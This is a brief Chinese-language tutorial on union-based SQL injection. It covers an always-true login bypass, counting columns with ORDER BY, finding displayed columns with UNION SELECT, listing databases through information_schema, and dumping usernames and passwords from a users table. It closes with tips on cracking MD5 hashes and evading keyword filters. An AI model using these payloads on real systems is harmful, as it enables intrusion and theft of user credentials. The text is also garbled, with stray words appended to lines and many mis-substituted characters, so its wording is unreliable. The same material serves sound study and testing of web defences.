原SQL语句为sql
SELECT * FROM xxx WHERE a='';
注入后为数据库
SELECT * FROM xxx WHERE a='' or '1'='1' --;
这样注入有常见状况有两种用途
第一种用途是用于登陆,能够用做万能密码直接进入后台
第二种用途是用于查询,若查询出全部内容则表明能够进行注入
此处展现的是第二种用途测试
因为接下来要采用union探测内容,而union的规则是必需要列数相同才能正常展现,所以必需要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同
探测采用order by网站
SELECT * FROM xxx WHERE a='' ORDER BY 1;
order by 1表明按第一列升序排序,若数字表明的列不存在,则会报错,由此能够探测出有多少列加密
SELECT * FROM xxx WHERE a='' UNION SELECT 1,2 ;
并非全部的查询结果都会展现在页面中,所以须要探测页面中展现的查询结果是哪一列的结果。上述SQL语句在本示例中展现了1,2,表明1,2列被展现在了页面中。所以能够利用1,2列进行注入查询。code
SELECT * FROM xxx WHERE a='' UNION SELECT 1,schema_name from information_schema.schemata;
上述SQL语句是查询数据库名的SQL语句,查询表名和列名的语句很相似,翻阅文档便可。
在探测数据库名、表名、列名的时候须要一些经验,经验不会影响最后的结果,可是经验会影响注入时间。名字如Admin,User的通常有多是与用户有关的数据库,能够特别关注。orm
最后一步,探测用户信息。其实有了之前的铺垫,探测用户信息是一个很简单的事情。blog
SELECT * FROM xxx WHERE a='' UNION SELECT User,Password FROM users ;
经过这一条数据即可以探测出全部用户的信息
部分数据使用了MD5加密,能够复制到MD5解密网站进行解密排序
对于有防御措施的程序,须要采用更高级的SQL注入手段进行诸如,好比替换SQL关键字大小写等手段。对于十分优秀的程序,SQL注入的意义就不大了,须要采用更高级的手段进行渗透测试。文档